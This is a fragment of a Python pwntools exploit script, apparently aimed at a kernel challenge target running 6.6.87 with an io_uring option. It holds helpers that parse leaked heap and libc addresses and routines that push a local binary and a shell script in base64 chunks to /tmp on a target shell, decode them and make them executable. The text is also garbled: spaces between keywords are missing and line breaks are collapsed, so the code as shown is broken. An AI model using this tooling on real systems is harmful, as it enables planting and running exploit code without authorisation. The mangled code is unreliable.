defget_heap(): res = 0 res = u64(sh.recvuntil("\x55", timeout=0.2)[-6:].ljust(8, b'\x00')) if res == 0: res = u64(sh.recvuntil("\x56", timeout=0.2)[-6:].ljust(8, b'\x00')) return res defget_libc(): res = 0 res = u64(sh.recvuntil("\x7f", timeout=0.2)[-6:].ljust(8, b'\x00')) if res == 0: res = u64(sh.recvuntil("\x7e", timeout=0.2)[-6:].ljust(8, b'\x00')) return res defget_tcache(): res = u64(sh.recvuntil("\x05")[-5:].ljust(8, b"\x00")) return res
defsend_cmd(cmd): ru("$") sl(cmd) defupload(): lg = log.progress('Upload') withopen('test', 'rb') as f: data = f.read() encoded = base64.b64encode(data) encoded = str(encoded)[2:-1] for i inrange(0, len(encoded), 300): lg.status('%d / %d' % (i, len(encoded))) send_cmd('echo -n "%s" >> /tmp/benc' % (encoded[i:i+300])) send_cmd('cat /tmp/benc | base64 -d > /tmp/bout') send_cmd('chmod +x /tmp/bout') lg.success()
defupa(): lg = log.progress('Upload') withopen('a.sh', 'rb') as f: data = f.read() encoded = base64.b64encode(data) encoded = str(encoded)[2:-1] for i inrange(0, len(encoded), 300): lg.status('%d / %d' % (i, len(encoded))) send_cmd('echo -n "%s" >> /tmp/abenc' % (encoded[i:i+300])) send_cmd('cat /tmp/abenc | base64 -d > /tmp/a.sh') send_cmd('chmod +x /tmp/a.sh') lg.success()
deffunc(): ru('Select a target (or type "deprecated" to see deprecated targets):') sl("lts-6.6.87") ru("back) back to the target list") sl("run") ru("options: ['io_uring']") sl("") ru("You can run the solver with:\n") pow = sh.recvline()